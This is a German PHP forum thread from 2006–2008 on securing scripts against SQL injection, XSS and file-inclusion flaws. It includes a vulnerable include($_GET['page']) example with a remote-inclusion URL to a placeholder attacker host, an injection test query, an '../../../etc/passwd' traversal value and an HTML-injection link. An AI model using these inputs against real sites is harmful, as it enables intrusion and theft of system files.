> Viel eher erkläre ich alle Anfängern, Sicherheit ist ein Wettlauf der nie aufhört. Je schneller du mitläufst desto sicherer aber keinesfalls Sicher ist man. Das war also für keinen so ausgelegt, dass er sich nicht bilden sollte. Bildung ist daher sehr wichtig. Aber kein Anfänger soll sich frustriert sehen. Die Fehler macht jeder mal. Und aus den eigenen Fehlern lernt man am besten. Aber die Hauptschuldigen in der ganzen Sachen sind zu 90% die gebildeten, die sich ihre eigenen Fehler nicht gestehen können! Und da zähle ich mich auch dazu!



Die Hauptschuldigen sind jene die kein Interresse an Sicherheit haben. Ganz gleich ob mann sie zu den "Gebildeten" zählen kann oder nicht.



> Wer also den Weg erkennt, wie der Hase wirklich läuft, der Vertraut nicht nur auf den nächsten, sondern macht auch endlich sein eigenen Kopf dafür auf. So wie das von Erfahrenären dargelegt wird, oder ausgeschildert steht, würde es eigentlich nur noch mehr zu Sicherheitsproblemen führen. Oder das Volk und damit die Bildung demotivieren.



Sorry du argumentierst konfus. Spezifiere denn doch mal wen du mit "Erfahrenären" meinst in diesem Zusammenhang genau meinst. 
Ein Link wäre hier hilfreich.



> Mit meiner stolzen englischen Readme tue ich keinem was gut.  Und das muss ich mir als Erfahrener eingestehen.



Wer kein Englisch lesen kann der sollte nicht programmieren.



> Nur weil ich es mittlerweile verstehe, muss ein anderer dies noch lange nicht, und scheitert, obwohl er wirklich für ihn alles Mögliche getan hat, und ernstens Versucht hat alles richtig zu machen. Genau das will ich ansprechen. Wir sind uns zu stolz, deshalb herrsch Unsicherheit. Nur so vererben wir nicht Wissen sondern Ahnungslosigkeit und die wirklich guten Nachfolger bleiben aus. Und alles wir unsicherer wie es nicht sein sollte.



Aber nicht aufgrund englischer Doku. Wenn ich eine Doku eines Systems nicht verstehe weil sie Fachwissen vorraussetzt das ich nicht habe, dann habe ich die Finger von dem System zu lassen.
Anders ist natürlich wenn die Doku einfach schlecht ist, aber auch dann lass ich die Finger von dem System.

Eine Doku die sämmtliche Fachbegriffe versucht zu vermeiden und umschreibt ist für mich nicht lesbar. Denn gerade Fachbegriffe machen eine Doku greifbar und verständlich.
Wenn eine Doku mir erklärt das ich an die Konfiguration über das Singleton Configuration rankomme dann ist das für mich auf den 1. Blick verständlich. Beschreibt die Doku aber über 10 Zeilen was ein Singleton ist und weshalb ich nicht einfach die Klasse instanzieren kann dann verliere ich den Blick für das wesentliche und die Doku ist schlecht.


----------



## Kipperlenny (18. Juli 2006)

Um mal wieder auf das eigentlich Thema des Threads zurückzukommen...

Ich zähle mich jetzt mal zu den Anfängern in PHP (vielleicht kein blutiger Anfänger, sagen wir mal ein fortgeschrittener Anfänger).

Ich möchte etwas neues ausprobieren, z.b. einen Ordner auf dem Server kopieren und einen neuen Namen geben sowie chmod Rechte setzen.

Früher ging ich so vor:
Hm, was kann ich schon? Ah ja, mit "copy" habe ich schon mal gearbeitet, dann wollen wir mal...

Wie sollte ich vorgehen? (Das meine Frage an euch)

Ich habe jetzt z.b. angefangen hier erst mal zu suchen:
http://de2.php.net/manual-lookup.php?pattern=file+copy&lang=de

Dann lese ich mir halt alles durch... Und mir ist natürlich alles zu kompliziert (Klar, weil wenn ich es schon könnte wäre es ja nichts neues) deswegen nutze ich diesen Code:


```
<?php
if (!copy($file, $file.'.bak')) {
   print ("failed to copy $file...<br>\n");
}
?>
```

Und fertig ist mein Script.

Sicherheit? Keine Ahnung...
Also was genau sollte man tun in dem Stadium wo man Informationen sucht?

EDIT: Und da bei dem copy ja noch das Umbennen fehlt, suche ich nochmal und finde diesen Code:


```
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
```

Den finde ich viel toller und benutze den :-D


----------



## Dennis Wronka (19. Juli 2006)

Es geht dabei in erster Linie um Variablen, genauer gesagt: Variablen die vom User beeinflusst werden koennen.
Wenn Du einen Code hast der vollkommen frei von Variablen ist (was natuerlich im Normalfall ziemlich sinnfrei ist) dann brauchst Du Dir im Grunde auch keine Gedanken machen ob da jemand was einschleusen kann, denn es gibt keinen Ansatzpunkt.
Anders sieht es halt aus wenn der User Formulare praesentiert bekommt und/oder Daten per URL uebergeben werden.
Dabei gilt die Devise: Es gibt zwei Arten von Usern: Dumme User und boese User!
Entsprechend muss man mit allem was der User uebergibt umgehen.

Ein paar sehr schoene Beispiele gibt es in der zuvor bereits geposteten Praesentation PHP Security by Example.
Es gibt natuerlich auch ein paar Einstellungen die einem bei PHP das Leben sicherer machen und daheim kann man ja sein PHP einstellen wie man lustig ist. Nur wird man daheim wohl kaum angegriffen, ausser man besorgt sich einen DynDNS-Namen und blaest den Hostnamen in die weite Welt hinaus. 
Bei Hostern kann man sich aber nicht darauf verlassen, dass diese Einstellungen "auf sicher" gesetzt sind. Hoster koennen ihre Einstellungen ja durchaus mal aendern, oder Du wechselst zu einem anderen Hoster, und ploetzlich koennte ein riesiges Sicherheitsloch aufklappen weil Du den unglaublich boesen Code

```
include($_GET['page']);
```
nutzt ohne vorher zu schauen ob $_GET['page'] ueberhaupt zulaessig ist. Mit allow_url_fopen=on kann hier per *index.php?page=http://boeser.hacker.clan/fieses_script.php* ein boesartiges Script eingebunden werden welches dann natuerlich auf dem Server alles machen kann was auch Deine Scripts koennen.

Das schoene an PHP ist ja, dass man sich daheim eine vollstaendige Testumgebung aufbauen kann und dort eben auch alle Freiheiten hat.
Ich handhabe das dabei so: Waehrend ich an etwas arbeite setze ich die Einstellunge restriktiv, um garnicht erst auf die Idee zu kommen Code zu nutzen der mir durch eine Einstellung deaktiviert/beschnitten werden koennte. Auch hab ich bei der Entwicklung volles Error-Reporting an (beim Test uebrigens spaeter auch). Fehler, Warnungen und Hinweise werden in der Phase systematisch ausradiert, nicht durch die Verwendung von @, sondern durch zusaetzliche Abfragen. @ kann man schonmal einsetzen, man sollte aber soweit moeglich darauf verzichten. Und wenn man es nutzt sollte man selbst moegliche Fehler behandeln.
Bei fsockopen() z.B. find ich es okay mit @ zu arbeiten. Es gibt keine andere Moeglichkeit zuerst zu testen ob ein Host erreichbar ist. Und ist er es nicht wird mit einer unschoenen Fehlermeldung abgebrochen. Dass nachfolgender Code der von der Verbindung abhaengig ist nicht ausgefuehrt werden kann und soll ist klar, aber es kann durchaus noch was anderes gemacht werden was nicht von fsockopen() abhaengig ist.
Mal ein Beispiel dazu:

```
//ganz viel Code
$http=@fsockopen('www.tutorials.de',80);
if ($http===false)
{
 echo 'Fehler: Verbindung zu tutorials.de kann nicht hergestellt werden!';
}
else
{
 //mach irgendwas mit der Verbindung
 fclose($http);
}
//noch mehr Code
```
Besser waeren natuerlich Exceptions, die gibt es aber erst ab PHP5, aber auch das ist wie es aussieht noch nicht so weit verbreitet bei Hostern.

Nun zur Testphase: Da setz ich die Einstellungen "auf unsicher". So kann ich dann schauen ob meine Scripts auch ohne die Unterstuetzung von PHP-eigenen Mechanismen den Ideen boeser Menschen standhalten koennen oder ob ich mich zu sehr auf die Hilfe von PHP verlassen habe. Wenn ich hier irgendwas unerwuenschtes Feststelle, z.B. dass Code- oder SQL-Injections moeglich sind, dann wird dies gleich behoben und wieder getestet, eben bis es sicher genug ist.


----------



## Kipperlenny (23. Juli 2006)

Also ich habe hier jetzt mein ganz tolles selber gebasteltes Script (natürlich völlig unsicher) und jetzt würde ich daran mal gerne ein wenig lernen wegen Sicherheitssachen.

Habe jetzt viel von SQL Injections gehört und gelesen - habe versucht das bei meinem Script mal selber anzuwenden (also bei dem Eingabefeld im Formular mal:

```
UPDATE tabelle SET passwort='haha' WHERE id='1'
```
und ähnliches Sachen eingegeben) - Allerdings hats nie hingehauen  (Na ja, eher  ) - Natürlich heißt das nicht, das mein Script sicher ist - wahrscheinlich war ich einfach nur zu blöd (bin ja kein Hacker ^^).

Nun ja, was genau sollte man als Standart auf jeden Fall machen zum Absichern?
Habe z.b. was davon gelesen (mein Gott habe ich viel dazu gelesen) das man vor jede abfrage ein addslashes() davor setzen soll - nur wohin und warum habe ich nicht wirklich kapiert...

Wäre nett wenn man mir da mal auf die Beine helfen könnte...


----------



## Dr Dau (23. Juli 2006)

Hallo!

Mehr zu SQL-Injectios findest Du auch auf Wikipedia unter SQL-Injektion.

Dem nach muss nicht nur das Passwort escaped (maskiert) werden, sondern auch die ID.
Hierzu solltest Du die dafür vorgesehene Funktion mysql_real_escape_string() nutzen.

Beispiel:

```
$querry = "UPDATE `tabelle` SET `passwort`='".mysql_real_escape_string($_GET['passwort'])."' WHERE `id`='".mysql_real_escape_string($_GET['id'])."'";
```
Gruss Dr Dau


----------



## Flex (24. Juli 2006)

Hier ein netter Artikel der vor kurzem auf heise.de erschien, über ein Tool das Websites auf PHP Sicherheitslücken untersucht. Manche Leute haben das Geld ja... 
http://www.heise.de/newsticker/meldung/75864


----------



## Dennis Wronka (6. November 2006)

NomadSoul hat gesagt.:


> Auch sehr nützlich:
> http://www.hardened-php.net/



Hardened-PHP hab ich ja nun schon eine Weile im Einsatz und muss sagen dass der Hardening-Patch eine ganz gute Sache ist. Und soweit scheint er auch nicht irgendwelchen Scripts in die Quere zu kommen.
Nun, Sinn meines Posts ist nun aber auf den Nachfolger des Hardening-Patches aufmerksam zu machen, namentlich ist dies Suhosin, welches aus einem Patch und einer eigenen Extension besteht.
Suhosin hab ich bisher nicht getestet, aber werd es mir wohl die Tage mal ansehen.


----------



## Dennis Wronka (7. November 2006)

Okay, ich hab jetzt hier mein schickes, neues PHP 5.2.0 mit Suhosin-Patch und Suhosin-Extension.
Wie gesagt, mit dem Hardening-Patch hatte ich zuvor keinerlei Probleme, vor allem in Hinblick auf Fertig-Ware wie PHPMyAdmin und SquirrelMail.
Mit Suhosin sieht das offensichtlich ein wenig anders aus, denn Suhosin legt scheinbar PHPMyAdmin lahm. Wenn lediglich der Patch aktiv ist kann ich mich zwar einloggen, aber kann irgendwie keine Datenbank auswaehlen (PHPMyAdmin hab ich grad frisch aktualisiert um auszuschliessen, dass es an meiner alten Version liegt). Wenn ich dann auch noch die Extension aktiviere ist das Chaos komplett, dann ist selbst das Login nicht mehr moeglich. Ich seh dann lediglich folgendes:


> Warning: mcrypt_encrypt() [function.mcrypt-encrypt]: The IV parameter must be as long as the blocksize in /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php on line 73
> 
> Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php:73) in /usr/local/apache2/htdocs/phpmyadmin/libraries/auth/cookie.auth.lib.php on line 439
> 
> ...


Als naechstes werde ich mal meine Website durchtesten und sehen ob es da irgendwelche lustigen "Nebenwirkungen" gibt. Wer auf PHPMyAdmin angewiesen ist sollte aber, wie es zur Zeit aussieht, noch die Finger von Suhosin lassen. Der Hardening-Patch hingegen scheint nicht so restriktiv zu sein, sodass PHPMyAdmin damit kein Problem darstellt. PHPPgAdmin, also fuer PostgreSQL-Datenbanken, hingegen scheint von Suhosin nicht beeindruckt zu sein.

Weitere Infos in Kuerze.

Nachtrag: Wenn man PHPMyAdmin auf HTTP-Authentication stellt kann man sich zumindest einloggen, auch wenn die Suhosin-Extension aktiv ist. Jedoch scheint weiterhin die Auswahl einer Datenbank, und somit sinnvolle Arbeit in PHPMyAdmin, unmoeglich zu sein.

Nachtrag 2: Okay, das PHPMyAdmin-Login funktioniert doch, man muss aber zuvor sicherstellen, dass man alle PHPMyAdmin-Cookies loescht, denn ansonsten scheint man den oben angefuehrten Fehler zu bekommen. Nur die Auswahl der Datenbanken geht noch immer nicht. Ich werd mal ein wenig im Code wuehlen und schauen woran das liegen koennte.

Nachtrag 3: Die Auswahl der Datenbanken funktioniert scheinbar nur ueber Links, aber nicht ueber die Combobox im linken Frame. Wenn man also dem Link "Databases" folgt und dann auf einen der Links fuer die Datenbanken klickt kommt man auch zur Datenbank.
Dadurch wuerde ich jetzt erstmal sagen, dass dem Einsatz von Suhosin erstmal nichts im Wege steht. Jedoch ist auf jeden Fall der eigene Code, und natuerlich auch Fertig-Ware, gruendlich zu testen ob denn auch alles laeuft.
In diesem Sinne gehe ich auch mal stark davon aus, dass man noch lange warten darf bis Hoster mal in Betracht ziehen den Hardening-Patch oder gar Suhosin zu nutzen da man den Kunden ja nicht durch verbesserte Sicherheit den Komfort kuerzen moechte.
Einen Vorteil koennte dies jedoch haben, dass User dazu erzogen werden den Code von Grund auf sicher zu gestalten und alle moeglichen Werte vernuenftig pruefen, zumindest halt nachdem die Website das erste Mal von Hackern zerlegt wurde und der Hoster eine boese Mail geschrieben hat. 

Dementsprechend moechte ich auch demnaechst mal ein wenig Zeit investieren um hier, oder einem seperaten Thread mal 2 verschiedene php.inis vorzustellen, eine mit restriktiven Einstellungen, sodass man dadurch moeglichst flexiblen und von PHP-Einstellungen unabhaengigen Code schreiben kann, und eine mit lockeren Einstellungen, welche man dann nutzen sollte um seinen Code nach Schwachstellen abzusuchen und diese zu stopfen. Denn nur so kann man auch wirklich Code schreiben der moeglichst vielen Aenderungen an irgendwelchen PHP-Einstellungen und auch diversen Attacken (Cross-Site-Scripting, SQL-Injections) gewachsen ist. Man kann sich eben nicht darauf verlassen, dass man bei jedem Hoster die gleichen Einstellungen vorfindet, und wir wollen ja auch nicht jedes Mal wenn wir den Hoster wechseln, oder der aktuelle Hoster mal ein paar Einstellungen aendert, unseren Code neu schreiben, nicht? 

Anregungen dazu, und natuerlich auch weitere Infos und Erfahrungen zum Hardening-Patch und zu Suhosin sind immer gern gesehen.

Nachtrag 4: Meine Website funktioniert uebrigens sowohl mit dem Suhosin-Patch als auch mit der Extension, das hatte ich beim vorherigen Nachtrag vergessen zu erwaehnen. 

Nachtrag 5: Die Auswahl der Datenbanken ueber die Combobox scheint irgendwie nur im Konqueror nicht zu klappen. Im Firefox hab ich keine Probleme. Moeglicherweise hat Konqueror mit irgendeinem JavaScript ein paar Probleme. Es scheint also als waere auch PHPMyAdmin nicht durch Suhosin beeintraechtigt. Lediglich den in Nachtrag 2 aufgefuehrten Punkt sollte man beachten.


----------



## King Euro (7. November 2006)

Dr Dau hat gesagt.:


> Hallo!
> Beispiel:
> 
> ```
> ...



Hi,

Bei PHP.Net gibt es eine nette Funktion dazu:

```
// Variablen absichern
function quote_smart($value)
{
   // Ueberfluessige Maskierungen entfernen
   if (get_magic_quotes_gpc()) {
       $value = stripslashes($value);
   }
   // In Anfuehrungszeichen setzen, sofern keine Zahl
   // oder ein numerischer String vorliegt
   if (!is_numeric($value)) {
       $value = "'" . mysql_real_escape_string($value) . "'";
   }
   return $value;
}
```

Ansonsten wollte ich mal fragen, wo ich bei Apache einstelle, dass ich alle Fehler ausgegeben bekomme.



			
				Dennis hat gesagt.:
			
		

> Auch hab ich bei der Entwicklung volles Error-Reporting an (beim Test uebrigens spaeter auch).


----------



## Dr Dau (7. November 2006)

King Euro hat gesagt.:


> Bei PHP.Net gibt es eine nette Funktion dazu:


Ich stehe mit solchen Funktionen irgendwie auf dem Kriegsfuss. 


King Euro hat gesagt.:


> Ansonsten wollte ich mal fragen, wo ich bei Apache einstelle, dass ich alle Fehler ausgegeben bekomme.


Bei Apache garnicht..... sondern bei PHP..... in der php.ini:

```
error_reporting  =  E_ALL
```
Nicht vergessen, nach Änderungen an der Konfiguration den Apachen neustarten.

Alternativ kannst Du es aber auch im Script machen:

```
<?php
error_reporting(E_ALL);
?>
```


----------



## Dennis Wronka (7. November 2006)

King Euro hat gesagt.:


> Hi,
> 
> Bei PHP.Net gibt es eine nette Funktion dazu:
> 
> ...


Ich hab bei mir aehnlichen Code (inspiriert durch diesen Code hier) eingebaut, jedoch aufgeteilt in 2 Funktionen da es von Zeit zu Zeit ja auch mal noetig ist uebergebene Werte auszugeben, und dort waeren die Magic-Quotes ja doch etwas haesslich.
Meine Funktionen sehen wie folgt aus:

```
function remove_magic_quotes($string)
{
	if (get_magic_quotes_gpc())
		{
			$string=stripslashes($string);
		}
	return $string;
}
function quote_string($string)
{
	global $sqldb;
	return $sqldb->escape_string(remove_magic_quotes($string));
}
```
$sqldb ist hierbei eine Instanz meiner MultiSQL-Klasse. Die Methode escape_string() entspricht dann eben der jeweilige Escape-Funktion des gewaehlten DBMS (bei MySQL z.B. mysql_real_escape_string()).


----------



## floHate (12. November 2006)

Guten Abend. 

Ich muss schon sagen das dieser Thread hier eine gute und wichtige entscheidung war. Vorrausgesetzt es wird auch alles gelesen 

Nur denke ich das man den Feind am besten bekämpfen kann wenn man weis wie soetwas gemacht werden kann. Klar ist auch das man nicht hergehen kann und alle lücken und sicherheitsrelevante abschnitte bis ins kleinste Detail auseinander zu Pflücken denn dies könnte man dann wieder eine "Anleitung" zum ausnutzen der Lücken nennen. 

Ich würde es begrüßen wenn jemand mögliche schwachstellen zeigen kann und eine Lösung dazu. Denn ich kann mir gut denken das viele lesen, hier in diesem Code sind möglichkeiten der SQLInc. usw nur wissen sie nicht wo oder verstehen nicht wie man sich dagegen schützen kann.

Mfg floHate

Nachtrag:

Ich hab noch eine lösung für eine SQL Abfrage:


```
<?php
    $sql = sprintf("SELECT
                        foo
                    FROM
                        tab
                    WHERE
                        ID = '%u';", $_POST['ID']);
?>
```

Egal was nun in 'ID' steht müsste eig. zu einer Zahl werden. Das heist das hinzufügen von Fremdcode ist nicht mehr möglich. 

Bitte klärt mich auf fals ich damit falsch liebe  aber dürfte stimmen

Mfg floHate


----------



## Flex (13. Dezember 2006)

Ich weiß nicht, wo es sonst besser passen würde, deshalb poste ich es mal hier:
Stefan Esser verlässt das PHP Security Response Team

Bekannt ist er wohl am meisten als Leiter des Hardened PHP Project.


----------



## Flex (1. März 2007)

Und wieder einmal ist hier von Stefan Esser die Rede.

Für alle die ihn nicht kennen, ist der Post oben wohl eine Lesung wert, für alle anderen ist die folgende Website offen:
http://www.php-security.org/

Auf dieser ist heute der The Month of PHP Bugs eröffnet worden.


----------



## Dennis Wronka (12. April 2007)

Um hier mal wieder was einzubringen.

Sowohl die Seiten des PHP Security Consortium als auch die Artikel von Chris Shifflet sind in Sachen PHP Security zu empfehlen.


----------



## KD3 (29. April 2007)

hmm habe manche links benutzt und dass was mich eig. interessiert nicht gefunden... 

bsp.


```
<?php 
// Muss hier die GET Variable auf irgendeiner Art escaped werden vll mit intval?
$get = $_GET['id'];

if(empty($get) || !is_numeric($get) ) {

die('ID existiert nicht oder interner Fehler');

} else {

$db = mysql_connect('localhost', 'root', '');

$dbs = mysql_select_db('test');

$command = sprintf(SELECT * FROM users WHERE id = %s, htmlspecialchars(mysql_real_escape_string($get)));

$query = mysql_query($command);

$f = mysql_fetch_assoc($query);

?>
```

Würde mich auf Antworten freuen, danke 

MfG
KD3


----------



## Flex (29. April 2007)

Da es sich eindeutig um eine Zahl handelt (bzw. handeln soll) kannst du statt:


```
htmlspecialchars(mysql_real_escape_string($get))
```

auch


```
intval($get)
```

benutzen.

Sollten HTML Zeichen drin sein, würde ja deine erste Prüfung bereits false melden, da es dann kein numerischer String mehr ist.


----------



## KD3 (29. April 2007)

Felix Jacobi hat gesagt.:


> Da es sich eindeutig um eine Zahl handelt (bzw. handeln soll) kannst du statt:
> 
> 
> ```
> ...



hmm ok  danke, aber auch wenn es ../../../etc/passwd als getvariable eingegeben wäre?


----------



## Flex (29. April 2007)

Wenn dieser Inhalt bei deinem Script reingeht, meldet er einen Fehler, da es kein numerische r String ist. 

Selbst wenn er durchkommen würde, würde [phpf]intval[/phpf] daraus eine 0 machen.

Wenn es jetzt um andere Variablen geht (z. B. einen include) würde ich diese auch nur in einem [phpf]Switch[/phpf] benutzen. So kannst du vorgegebene Fälle eintragen, alle anderen werden auf default weitergeleitetet.

Ansonsten sollte der PHP Safe Mode bei solchen Pfäden eingreifen und eben genau soetwas verhindern.


----------



## KD3 (29. April 2007)

ok  danke nochmal für die Antworten Flex Jacobi


----------



## Flex (29. September 2007)

Um den Thread mal wieder ein wenig zu beleben:

addslashes versus mysql_real_escape_string
Chris Shiflett über die Probleme [phpf]addslashes[/phpf] als Abwehr für MySQL Injektionen (auch wenn das Szenario etwas beschränkt ist)

Und ein kurzer Blogeintrag über ein MemoryLeak in PHP

Memory Leaks With Objects in PHP 5


----------



## bn (30. September 2007)

Danke für den Beitrag bzgl. des Memory Leaks - sehr interessant.


----------



## nickiquickie (9. Oktober 2007)

Hallo,

ich habe mal eine Frage:
Und zwar verwende ich vor dem Einfuegen einer Variable in die Query einer DB-Abfrage die Funktion *strip_tags()*

```
$var = strip_tags($_GET['var']);
```

Ist das ein ausreichender Schutz vor SQL-Injections?
Oder ist es viel besser eine solche Funktion (siehe unten), wie vorher in diesem Thread schon erwähnt, zu nutzen:

```
// Variablen absichern
function quote_smart($value)
{
   // Ueberfluessige Maskierungen entfernen
   if (get_magic_quotes_gpc()) {
       $value = stripslashes($value);
   }
   // In Anfuehrungszeichen setzen, sofern keine Zahl
   // oder ein numerischer String vorliegt
   if (!is_numeric($value)) {
       $value = "'" . mysql_real_escape_string($value) . "'";
   }
   return $value;
}
```

Wahrscheinlich ist es schon besser diese Funktion zu nutzen.
Oder reicht eigentlich die *strip_tags()*-Funktion aus um einen vernuenftigen Schutz zu schaffen?
Danke schonmal!


----------



## Dennis Wronka (9. Oktober 2007)

strip_tags() bietet *keinerlei* Schutz vor SQL-Injections. Vor XSS (Cross-Site-Scripting) schon eher, aber nicht vor SQL-Injections. Dafuer gibt es Funktionen wie z.B. mysql_real_escape_string().


----------



## nickiquickie (9. Oktober 2007)

Dennis Wronka hat gesagt.:


> strip_tags() bietet *keinerlei* Schutz vor SQL-Injections. Vor XSS (Cross-Site-Scripting) schon eher, aber nicht vor SQL-Injections. Dafuer gibt es Funktionen wie z.B. mysql_real_escape_string().



Oh oh...
Gut, dass ich nachgefragt habe. Werde dann mal die oben gepostete Funktion in meine Scripte einbauen.

Dieser Thread ist uebrigens eine super Sache!


----------



## Gumbo (9. Oktober 2007)

Ich möchte noch einmal darauf hinweisen, dass dieser Thread nicht für Fragen sondern für Antworten gedacht ist.





Dennis Wronka hat gesagt.:


> Wofuer ist dieser Thread nicht gedacht:
> 
> Fragen ob ein Script sicher ist
> Wir wollen hier eher allgemein zum Thema Sicherheit in PHP diskutieren und nicht auf spezielle Scripts eingehen. Natuerlich wollen wir hier auch Code-Beispiele sehen, aber eben nicht, dass jemand sein Script (oder einen Ausschnitt) postet und fragt ob der Code sicher ist.


----------



## nickiquickie (9. Oktober 2007)

Gumbo hat gesagt.:


> Ich möchte noch einmal darauf hinweisen, dass dieser Thread nicht für Fragen sondern für Antworten gedacht ist.



Ich denke aber, dass ohne Fragen auch keine Antworten gegeben werden können.
Schließlich soll der Thread ja helfen auf dem Gebiet der Sicherheit etwas dazu zu lernen. Ich habe ja auch nicht mein Script gepostet, sondern eine recht grundelegende Frage zu zwei Funktionen gestellt.
Aber das nächste Mal öffne ich auch gern einen eigenen Thread dafür.


----------



## versuch13 (18. Dezember 2007)

Zwar nicht speziell auf PHP bezogen, dennoch vllt für den ein oder anderen interessant, heute bei http://entwickler-press.de/ ein kosenloses EBook mit dem Thema "Sicherere Webanwendungen" downloadbar.


----------



## S-lord (2. Januar 2008)

http://koandagfx.de/index.php?action=<b><u><h1>GAR NICHT GUT</h1>

Das ist meine Seite...
Und den Link hat ein User gepostet...
Wie hat er das gemacht?
Auzug aus der Datei...

```
if(mysql_num_rows($query))
{
	while($row = mysql_fetch_assoc($query)) {
		echo "<div class='div_title' align='center'>" . $row['header'] . "</div>";
		echo "<div class='div_content' align='center'>" . $row['content'] . "<br /><br />geschrieben am: " . $row['date'] . "</div>";
		}
} else {
    die ("Keine Daten in der Tabelle.");
}
```


----------



## Flex (2. Januar 2008)

Die Sicherheitslücke liegt in dem Bereich, wo die $_GET Variable "action" verarbeitet wird. Diesen Auszug bräuchten wir.


----------



## S-lord (3. Januar 2008)

```
switch($_GET['action']){
```


```
default: require("inc/news.php"); break;
}
```

Mh stimmt sieht recht unsicher aus.^^
Aber was kann ich da machen?
Wenn ich mich recht entsinne gibts eine Funktion, komme aber nicht drauf.


----------



## maeTimmae (3. Januar 2008)

Das ist nicht wirklich der gesuchte Teil, denn ein nicht vorhandener Fall wird durch das default abgefangen.

Vielmehr müsste in irgendeiner Datei sowas stehen, wie:
echo $_GET['action'];, was dazu führt, dass die Requestvariable einfach ausgegeben wird. Besser ist da schon echo htmlentities($_GET['action']); ([phpf]htmlentities[/phpf], [phpf]htmlspecialchars[/phpf]), aber auch recht unsauber, da der Nutzer immer noch Daten einbringen kann, die so nicht eingebunden werden sollten.

Kann es sein, dass die Überschrift der Sektion auch durch das entsprechende GET-Feld produziert wird? Ganz unsauber!
Alles so statisch wie möglich und so dynamisch wie nötig machen, dann sollten solche Unfeinheiten nicht mehr auftreten. Ein Beispiel könnte sein:

Modul einbinden

```
<?php
switch ( $_GET['action'] ) {
    case "news":
        $title = "Neuigkeiten";
        include "News.php";
        break;
    case "somewhat":
        $title = "Was anderes";
    // ...
    default:
        $title = "N/A";
        include "Default.php";
        break;
}
```

Ausgabe - Rahmentemplate

```
<?php
echo $title;
// ...
```


----------



## Gumbo (3. Januar 2008)

Für Fragen ist das PHP-Forum gedacht und nicht dieses Schwerpunktthema, in dem – wie aus dem [post=1254206]Eingangsbeitrag[/post] hervorgeht – keine Fragen zu bestimmten Quellcodes oder Algorithmen gewünscht sind. Diese sind hier zwar auch erlaubt, sollen aber nur zusammen mit einer Lösung des Problems in der Form „Problem ? Ursache ? Lösung“ genannt werden. Für Fragen zu spezifischen Problemen soll bitte ein eigenes Thema eröffnet werden.


----------



## Flex (14. Januar 2008)

Gareth Hayes hat in seinem Blog einen Eintrag über die Anfälligkeit von PHP_SELF veröffentlicht, sofern man es nicht richtig filtert.

The Spanner - Exploiting PHP_SELF


----------



## Gumbo (14. Januar 2008)

Sean Coates hat nicht nur diese Sicherheitslücke eher als Gareth Hayes „entdeckt“, sondern beschreibt zusätzlich sowohl die Ursache als auch eine Lösung.

Die Ursache ist nämlich Apaches „AcceptPathInfo“-Feature, mit dem auch nur Teile des Pfads für eine erfolgreiche Abbildung auf das Dateisystem dienen können. So reicht in dem genannten Beispiel bereits das „…/php_self.php“ aus, das auf die gleichnamige Datei abgebildet wird. Der Rest wird in der Umgebungsvariable  PATH_INFO gespeichert.
Das Problem hierbei ist wieder einmal der naive Umgang mit den von außen kommenden Benutzereingaben, zu denen auch die URL zählt. Und da PHP_SELF nicht nur den tatsächlichen Pfad zur Skriptdatei sondern auch den PATH_INFO-Teil enthält, der wiederum beliebig sein kann (und so auch Schadcode enthalten kann), ist dieser Variablenwert ebenfalls mit Vorsicht zu behandeln.


----------



## Tangarama (23. Januar 2008)

Ersteinmal, recht herzlichen Dank für diesen interessanten Threat. 

Was mich bezüglich des *PHP_SELF* sehr interessieren würde, wie sieht es denn hier bei *Smartys SCRIPT_NAME* aus? Wurde das von Seiten der Smarty-Entwickler ausreichend entschärft, oder muss man bei den Templates in denen man SCRIPT_NAME verwendet nacharbeiten? 

kind regards
JCB


----------



## Chaosengel_Gabriel (14. März 2008)

Supi Thread das hier is ^^
Hab mir bislang auch nicht wirklich Gedanken, um die Sicherheit meiner Skripte gemacht...
Andererseits ist mir aufgefallen, dass ich einige Tipps/Ratschläge diese Threads bereits instinktiv befolgt habe ^^

Was mich persönlich dazu interessieren würde, wäre, wie bereits genannt, wie man solche Ausnutzungen von Sicherheitslücken selber nutzen kann...
Wie kann ich selber dafür sorgen, dass ich meine Skripte "missbrauche"?

Die nun folgende Frage ist verständlicherweise richtig dumm und unangebracht, aber ich möchte sie trotzdem stellen:
Könnte mir jemand einen "Beispiel"-Skript nennen, der sämtliche "Löcher" auf meiner Web-Site findet, nutzt und/oder ausbügelt?

Geht mir dabei nich darum, was fertiges zu haben, dass ich benutze, sondern nur darum, dass ich sehe wie man sowas macht... Ne entsprechende Klasse o.ä. zum verwenden auf meiner Site schreibe ich mir dann selber...

[EDIT]:
Was mir grad noch einfällt... Hab ne Idee, die meiner Überlegung nach zumindest theoretisch die Unsicherheit von $_GET-Übergaben in der URL beheben könnte...
Unzwar halt statt $_GET einfach $_POST verwenden...
Aber wie benutze ich in einem Link $_POST!?
Meine Idee dazu:
Anstelle des Links ein unsichtbares Formular, welches die nötigen Daten POSTet...
Und den submit-Button entsprechend formatiert, sodass er aussieht wie ein einfacher Link...

Was haltet ihr von dem Gedanken?


----------



## Dennis Wronka (14. März 2008)

Ich finde die Nutzung von GET nicht grundsaetzlich unsicherer als POST. Klar, GET-Daten zu manipulieren ist einfacher, da es einfach ueber die Addresszeile geht, aber vernuenftig validieren muss man die Daten eh, egal wie sie nun zum Server gelangen.

Zum Thema Testing der eigenen Seite: Ich hab mal angefangen, auf Basis meiner HTTP-Klasse, eine Klasse zum Penetration Testing zu schreiben.
Hab aber schon lange nicht mehr daran gearbeitet, und die bisher existierende Version kann auch noch nichts.
Zudem gibt es wohl auch bessere Tools fuer sowas.


----------



## Gumbo (14. März 2008)

Was die Transparenz der Daten angeht, ist GET eindeutig unsicherer als POST. Denn der Webserver protokolliert gewöhnlich sämtliche Anfragen samt Anfragezeile, in der auch die angefragte URL enthalten ist.

Von automatisierten Tests halte ich allerdings nicht viel. Denn ich halte es für schwierig, einem Algorithmus einerseits das Finden von Schwachstellen und andererseits das Ausnutzen dieser Schwachstellen zu überlassen. Bis auf die üblichen Angriffe wie Schadcode-Injektionen ist da nicht viel zu machen.


----------



## Herror (23. April 2008)

*PHP und sicherheit*

Hallo,

ich programmiere seit kurzer Zeit für ein paar Leute das cms und dazu habe ich halt ein Loginsystem gebastelt.

nun stellt sich mir die Frage der sicherheit.
Eine Frage: Die verschlüsselung. Bringt die was?

Ich meine, wenn man das verschlüsselte passwort hat, dann muss man doch nur einmal schnell md5 in google eingeben und entschlüsselt es schnell... ich meine, das bringt's doch nicht.

